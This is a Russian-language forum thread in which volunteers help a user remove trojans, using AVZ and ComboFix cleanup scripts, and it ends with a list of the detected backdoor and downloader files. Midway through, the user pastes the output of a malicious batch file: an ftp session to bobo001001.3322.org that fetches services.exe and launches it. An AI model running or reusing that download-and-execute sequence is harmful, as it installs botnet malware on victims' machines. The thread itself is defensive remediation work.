несанкционированная закачка

Здравствуйте!
Возникла проблема с каким-то вирусом или программой, которая при подключении к интернет начинает периодическую закачку на компьютер каких-то данных. При чем скорость довольно приличная и стабильная. С интернет работаю через МТС Коннект. Есть подозрение на то, что МТС просто пытается таким образом увеличить трафик, Потому что на модеме, как на съёмном носителе, были найдены вирусы и уничтожены. Однако они засели где-то в компе и самовосстанавливаются в [COLOR=red]C:\Program Files\Common Files\System. [/COLOR][COLOR=black]Вот имена этих файлов: [I][B]yongzh, gametower[/B][/I] и бывают с другими именами.[/COLOR]
Антивирус AVAST и антишпион SUPERAntiSpyware Free Edition не дают результатов, да и Каспер тоже.
Через программу контроля трафика DUMeter видно как запускаются данные файлы для закачки.
Подскажите, пожауйста, что можно предпринять?
Заранее спасибо!!!

Закройте все программы
Отключите
- ПК от интернета/локалки.
- Антивирус и Файрвол
[URL="http://virusinfo.info/showthread.php?t=4905"]- Системное восстановление[/URL]

[URL="http://virusinfo.info/showthread.php?t=7239"]Выполните скрипт в АВЗ[/URL] -

[CODE]begin
SearchRootkit(true, true);
SetAVZGuardStatus(true);
TerminateProcessByName('c:\program files\common files\system\sqlserv.exe');
QuarantineFile('c:\program files\common files\system\sqlserv.exe','');
QuarantineFile('c:\documents and settings\local user\windmad59075.dll','');
TerminateProcessByName('c:\program files\common files\system\sqldebug.exe');
QuarantineFile('c:\program files\common files\system\sqldebug.exe','');
QuarantineFile('C:\Documents and Settings\Local User\windmad59075.dll','');
QuarantineFile('C:\WINDOWS\system32\config\systemprofile\Главное меню\Программы\Автозагрузка\googl.vbs','');
DeleteFile('C:\WINDOWS\system32\config\systemprofile\Главное меню\Программы\Автозагрузка\googl.vbs');
BC_ImportAll;
ExecuteSysClean;
ExecuteWizard('TSW',2,2,true);
BC_Activate;
RebootWindows(true);
end.[/CODE]

После выполнения скрипта компьютер перезагрузится.

После перезагрузки:
- выполните такой скрипт

[CODE]begin
CreateQurantineArchive(GetAVZDirectory+'quarantine.zip');
end.[/CODE]

Пришлите файл [B][COLOR="Red"]quarantine.zip[/COLOR][/B] из папки AVZ по ссылке [COLOR="Red"][B][U]Прислать запрошенный карантин[/U][/B][/COLOR] над первым сообщением этой темы.

- Повторите логи

Логи сделал. После всех процедур по первому кругу вроде стало легче, файлы не восстанавливаются и закачка прекратилась. Возможно действительно прятались в восстановлении системы. Вот ведь, век живи, век учись и дураком помрёшь:)
P.S. Чуть не забыл. После всех процедур появилась новая учетная запись системы под названием Internetuser и для входа требует пароль. На всякий случай удалил эту учетную запись со всеми её файлами.

Выполните скрипт в АВЗ -

[CODE]var
i : integer;
KeyList : TStringList;
begin
KeyList := TStringList.Create;
RegKeyEnumKey('HKLM','SYSTEM', KeyList);
for i := 0 to KeyList.Count-1 do
if pos('controlset', LowerCase(KeyList[i])) > 0 then
begin
if RegKeyExistsEx('HKLM', 'SYSTEM\'+KeyList[i]+'\Services\BITS') then
begin
RegKeyResetSecurity('HKLM', 'SYSTEM\'+KeyList[i]+'\Services\BITS');
RegKeyStrParamWrite('HKLM', 'SYSTEM\'+KeyList[i]+'\Services\BITS', 'ImagePath', '%SystemRoot%\System32\svchost.exe -k netsvcs');
AddToLog('Значение параметра ImagePath в разделе реестра HKLM\SYSTEM\'+KeyList[i]+'\Services\BITS исправлено на оригинальное.');
end;
if RegKeyExistsEx('HKLM', 'SYSTEM\'+KeyList[i]+'\Services\wuauserv') then
begin
RegKeyResetSecurity('HKLM', 'SYSTEM\'+KeyList[i]+'\Services\wuauserv');
RegKeyStrParamWrite('HKLM', 'SYSTEM\'+KeyList[i]+'\Services\wuauserv', 'ImagePath', '%SystemRoot%\System32\svchost.exe -k netsvcs');
AddToLog('Значение параметра ImagePath в разделе реестра HKLM\SYSTEM\'+KeyList[i]+'\Services\wuauserv исправлено на оригинальное.');
end;
end;
KeyList.Free;
SaveLog(GetAVZDirectory + 'fystemRoot.log');
end.[/CODE]

- Файл [B]fystemRoot.log[/B] из папки с АВЗ прикрепите к следующему сообщению.

сделано

[size="1"][color="#666686"][B][I]Добавлено через 9 минут[/I][/B][/color][/size]

файл не грузится, размер 0 б

Учетная запись [I][B]Internetuser[/B][/I] восстанавливается при каждой перезагрузке компа

Распакуйте файл из вложения и внесите информацию в реестр двойным кликом левой кнопкой мыши на каждом из файлов

Сделайте лог [url="http://virusinfo.info/showpost.php?p=493610&postcount=1"]ComboFix[/url]

Извините, что задержался!
Вот итог.

Содержимое файла [B]c:\windows\system32\dboysb.bat[/B] напишите в своем сообщении

Скопируйте текст ниже в блокнот и сохраните как файл с названием CFScript.txt на рабочий стол.
[code]KillAll::

File::
c:\windows\system32\drivers\tcpz-x86d.sys
c:\program files\Common Files\System\sqlserv.exe
c:\windows\system32\AntiVC.dll

Driver::
SqlDebuger
IdsSrv
TCPZ

NetSvc::
k90sve

Folder::
c:\windows\system32\EM47PT1A
c:\windows\system32\WZO7KVU1
c:\windows\system32\R8W8MDO5
c:\windows\system32\4E6AGZMC
c:\windows\system32\ZZ0MJUR2
c:\windows\system32\RZ31HH84
c:\windows\system32\RGK57Q25
c:\windows\system32\RKHJOUSB
c:\windows\system32\R0YNG2MD
c:\windows\system32\Q5V0V7CI
c:\windows\system32\QMC4NG5K
c:\windows\system32\QQ8I2LVP
c:\windows\system32\QV5VJPLU
c:\windows\system32\QBMZBXEW
c:\windows\system32\QGJDQ241
c:\windows\system32\QKGQ66U6
c:\windows\system32\QPD3MCKC
c:\windows\system32\Q5T7EKEE
c:\windows\system32\QD6S18YM
c:\windows\system32\QSOWTISO
c:\windows\system32\PZ1GH6DV
c:\windows\system32\PIYRHZ00
c:\windows\system32\PYFV77U2
c:\windows\system32\P3C8ODK7
c:\windows\system32\PAPTC15F
c:\windows\system32\PQ5W3AYH
c:\windows\system32\PV2BKFOM
c:\windows\system32\PEZLJ7DR
c:\windows\system32\PJXYZC2W
c:\windows\system32\PNUCFGS1
c:\windows\system32\O5RNFAH5
c:\windows\system32\OBO0UE6B
c:\windows\system32\OFLEBIWG
c:\windows\system32\OV1I1RQI
c:\windows\system32\O0YVIVGN
c:\windows\system32\OGFZ84AP
c:\windows\system32\ONSKXTUX
c:\windows\system32\O38NO1OZ
c:\windows\system32\O85146E4
c:\windows\system32\OPN4WF66
c:\windows\system32\OTKJCJXC
c:\windows\system32\NCHTCDLG
c:\windows\system32\NHE6RHBL
c:\windows\system32\NZBHRAZQ
c:\windows\system32\N37V6FPV
c:\windows\system32\N848NJF0
c:\windows\system32\NPLDER82
c:\windows\system32\NTIQUWY7
c:\windows\system32\NMVDZWLG
c:\windows\system32\N2CHQ4FI
c:\windows\system32\N7AU6A4N
c:\windows\system32\NC67MEUS
c:\windows\system32\NSNCENOU
c:\windows\system32\MWKPUREZ
c:\windows\system32\MD0TL061
c:\windows\system32\MIX614X6
c:\windows\system32\MYEBSDQ8
c:\windows\system32\MHBMS6FD
c:\windows\system32\ML7Z7B4I
c:\windows\system32\M1O3ZJYK
c:\windows\system32\MI56RSRM
c:\windows\system32\MN2L6WHR
c:\windows\system32\M25WWILJ
c:\windows\system32\M3JOY5BT
c:\windows\system32\M7G2EA0Y
c:\windows\system32\MOW55JU0
c:\windows\system32\LTTKMNK5
c:\windows\system32\LXQX1RAB
c:\windows\system32\L2NBIWZG
c:\windows\system32\LJ3F84TI
c:\windows\system32\L10P8YHM
c:\windows\system32\LUEDDY3U
c:\windows\system32\LYCQT2TZ
c:\windows\system32\LFSUKCN1
c:\windows\system32\LJ2MRIUE
c:\windows\system32\KNZZ7MLJ
c:\windows\system32\K3G3YUEL
c:\windows\system32\K8DHFZ3Q
c:\windows\system32\KRARESSU
c:\windows\system32\KV65UWIZ
c:\windows\system32\KCO8L5C1
c:\windows\system32\KHLN1A16
c:\windows\system32\KZIX02QC
c:\windows\system32\K3FBH7GH
c:\windows\system32\KKVF8G8J
c:\windows\system32\K0CJZP2K
c:\windows\system32\J58WGTSQ
c:\windows\system32\JMP062MR
c:\windows\system32\JQMEN6CW
c:\windows\system32\J63IFG4Y
c:\windows\system32\JNKM5OY0
c:\windows\system32\JGX8BOL8
c:\windows\system32\JWED1XEB
c:\windows\system32\J0BQI14G
c:\windows\system32\J7OB5QPO

Registry::

FileLook::

DirLook::
c:\windows\system32\iSql[/code]
После сохранения переместите CFScript.txt на пиктограмму ComboFix.exe.
[img]http://i076.radikal.ru/1003/e5/554faea12baf.gif[/img]
Когда сохранится новый отчет [B]ComboFix.txt[/B], прикрепите его к сообщению.

Вот что получилось после запуска dboysb.bat
[QUOTE]C:\WINDOWS\system32>ftp -s:dboysb.sys
ftp> open bobo001001.3322.org
> ftp: connect :Неизвестный код ошибки
ftp> 111
Недопустимая команда.
ftp> 222
Недопустимая команда.
ftp> get services.exe C:\dboycao.exe
Нет связи.
ftp> bye

C:\WINDOWS\system32>start C:\dboycao.exe
[/QUOTE]
После этого появляется сообщение:
[QUOTE]Windows не удалось найти 'C:\dboycao.exe'. Поверьте, что имя было введено правильно
и повторите попытку.Чтобы выполнить поиск файла нажмите кнопку "Пуск", а затем выберите
команду "Найти".[/QUOTE]
После нажатия "ОК"
[QUOTE]C:\WINDOWS\system32>ping -n 10 127.0.0.1

Обмен пакетами с 127.0.0.1 по 32 байт:

Ответ от 127.0.0.1: число байт=32 время<1мс TTL=128
Ответ от 127.0.0.1: число байт=32 время<1мс TTL=128
Ответ от 127.0.0.1: число байт=32 время<1мс TTL=128
Ответ от 127.0.0.1: число байт=32 время<1мс TTL=128
Ответ от 127.0.0.1: число байт=32 время<1мс TTL=128
Ответ от 127.0.0.1: число байт=32 время<1мс TTL=128
Ответ от 127.0.0.1: число байт=32 время<1мс TTL=128
Ответ от 127.0.0.1: число байт=32 время<1мс TTL=128
Ответ от 127.0.0.1: число байт=32 время<1мс TTL=128
Ответ от 127.0.0.1: число байт=32 время<1мс TTL=128

Статистика Ping для 127.0.0.1:
Пакетов: отправлено = 10, получено = 10, потеряно = 0 (0% потерь),
Приблизительное время приема-передачи в мс:
Минимальное = 0 мсек, Максимальное = 0 мсек, Среднее = 0 мсек

C:\WINDOWS\system32>start C:\dboycao.exe[/QUOTE]
Потом снова сообщение:
[QUOTE]Windows не удалось найти 'C:\dboycao.exe'. Поверьте, что имя было введено правильно
и повторите попытку.Чтобы выполнить поиск файла нажмите кнопку "Пуск", а затем выберите
команду "Найти".[/QUOTE]
После"ОК" окно закрывается.

P.S. Образовался файл С:\boot.bak

Я просил выложить содержимое файла dboysb.bat, а не запускать его. Захотели стать частью ботнета???

Скопируйте текст ниже в блокнот и сохраните как файл с названием CFScript.txt на рабочий стол.
[code]KillAll::

File::

Driver::
IdsSrv

Folder::
c:\windows\system32\60UA4E5H
c:\windows\system32\JO4FXZIQ
c:\windows\system32\JT1SE38V
c:\windows\system32\IYCYVVOA
c:\windows\system32\HACBBQ7Z
c:\windows\system32\HQSF1Y11
c:\windows\system32\H58JT7U2
c:\windows\system32\HB5WACL8
c:\windows\system32\HRM00LEA
c:\windows\system32\HVJEHP3F
c:\windows\system32\HCZI7XXH
c:\windows\system32\HHXVO2NM
c:\windows\system32\HXEZGBHO
c:\windows\system32\H1BDVG6T
c:\windows\system32\HIRHNOZV
c:\windows\system32\GP40BDL3
c:\windows\system32\G5L42ME5
c:\windows\system32\GCYPQBZD
c:\windows\system32\GVVZQ3NI
c:\windows\system32\GETBPWCM
c:\windows\system32\GUAFH54O
c:\windows\system32\GNN1L5RW
c:\windows\system32\G335DELY
c:\windows\system32\G70JSJB3
c:\windows\system32\GDXW8N08
c:\windows\system32\FVU77GPE
c:\windows\system32\FCO31C7P
c:\windows\system32\FJ1OP0TX
c:\windows\system32\FZISHAMY
c:\windows\system32\F3F5WED3
c:\windows\system32\FKVAON55
c:\windows\system32\FPSN4RVB
c:\windows\system32\FTP0KVLG
c:\windows\system32\FDNCKOAL
c:\windows\system32\FJ0V7DUS
c:\windows\system32\FZHZZMOU
c:\windows\system32\E4EDFQEZ
c:\windows\system32\ENBOFK24
c:\windows\system32\ER71UOSA
c:\windows\system32\EA4CUHHE
c:\windows\system32\EF1PAL6J
c:\windows\system32\EJY3QQWO
c:\windows\system32\EOVH5UMT
c:\windows\system32\ESTUMYDY
c:\windows\system32\ECQ4LS03
c:\windows\system32\EI3PAHMB
c:\windows\system32\D00Z8AAG
c:\windows\system32\DKXB82YK
c:\windows\system32\DOUOO6OP
c:\windows\system32\DV78CV8X
c:\windows\system32\DCOD342Z
c:\windows\system32\DGLQK8S4
c:\windows\system32\DW2UBIM6
c:\windows\system32\BZGGKRK0
c:\windows\system32\B5TZ7G48
c:\windows\system32\BBQDOKVE
c:\windows\system32\BR6HFTOG
c:\windows\system32\BV3UVXEL
c:\windows\system32\B8RZDZNB
c:\windows\system32\BCKYM67N
c:\windows\system32\BHIC2BXS
c:\windows\system32\BLFQJFNX
c:\windows\system32\B3C0I8C1
c:\windows\system32\B88EYD16
c:\windows\system32\BPPIPMV8
c:\windows\system32\ATMV5QLE
c:\windows\system32\AYJ8LUBJ
c:\windows\system32\AFZDD34L
c:\windows\system32\AJWQT7UQ
c:\windows\system32\AOT38CKV
c:\windows\system32\A4A70LEX
c:\windows\system32\A86LGP32
c:\windows\system32\APOP7YW4
c:\windows\system32\ATL2N2NA
c:\windows\system32\A0YNCR7I
c:\windows\system32\AHFR200K
c:\windows\system32\AMC4J4RP
c:\windows\system32\81S8BEKR
c:\windows\system32\86PMQIAW
c:\windows\system32\5R1JI0P8
c:\windows\system32\5VZXY4FE
c:\windows\system32\5CG0QE8G
c:\windows\system32\5HDF5IYL
c:\windows\system32\S1FG4FGL

Registry::
[HKEY_LOCAL_MACHINE\software\microsoft\windows nt\currentversion\svchost]
"IdsSrv"=-

FileLook::

DirLook::[/code]
После сохранения переместите CFScript.txt на пиктограмму ComboFix.exe.
[img]http://i076.radikal.ru/1003/e5/554faea12baf.gif[/img]
Когда сохранится новый отчет [B]ComboFix.txt[/B], прикрепите его к сообщению.

УПС :blush:!Чуть не вляпался, я так понимаю.:superstition:
Вот отчет

Что с проблемой?

Файлы, о которых я писал выше удалились и не восстанавливаются больше, учетная запись тоже более не возникает. Самопроизвольной закачки как раньше нет, хотя отмечается некоторая повышенная активность TeamViewer когда к нему нет обращений. Он стоит в автозагрузке и нужен в работе. DUMeter показывает как эта программа работает в сети, но теперь в основном на отдачу. Я хочу понаблюдать за интенсивностью трафика ч\з TeamViewer.
Однако скажу, что объем трафика, после Вашей помощи, снизился практически до нуля, если я не работаю в сети сам.
Так что, думаю, с Вашей помощью получилось победить этих :censored: :094:
Хотя, конечно хотелось бы знать откуда это приползло, потому как есть конкретные подозрения на оператора 3G интернет (у всех кого знаю с таким модемом практически те же проблемы и начались почти одновременно), но наверное это нереально.
Вообщем СПАСИБО! Мне порекомендовали Ваш форум, Теперь и я буду рекомендовать Вас!
Спасибо еще раз!

[url="http://virusinfo.info/showpost.php?p=500136&postcount=2"]Удалите ComboFix[/url]

Установите [url="http://www.microsoft.com/rus/windows/internet-explorer/default.aspx"]Internet Explorer 8[/url] (даже если им не пользуетесь)

DONE

Статистика проведенного лечения:
[LIST][*]Получено карантинов: [B]1[/B][*]Обработано файлов: [B]14[/B][*]В ходе лечения обнаружены вредоносные программы:
[LIST=1][*] c:\\documents and settings\\local user\\windmad59075.dll - [B]Backdoor.Win32.FirstInj.ava[/B] ( DrWEB: BackDoor.Siggen.44552, BitDefender: Trojan.Generic.4775160, AVAST4: Win32:Malware-gen )[*] c:\\program files\\common files\\system\\sqldebug.exe - [B]Trojan-Downloader.MSIL.Small.de[/B] ( BitDefender: Trojan.Generic.6130038, AVAST4: Win32:Malware-gen )[*] c:\\program files\\common files\\system\\sqlserv.exe - [B]Trojan-Downloader.MSIL.Small.de[/B] ( BitDefender: Trojan.Generic.5342714, AVAST4: Win32:Malware-gen )[/LIST][/LIST]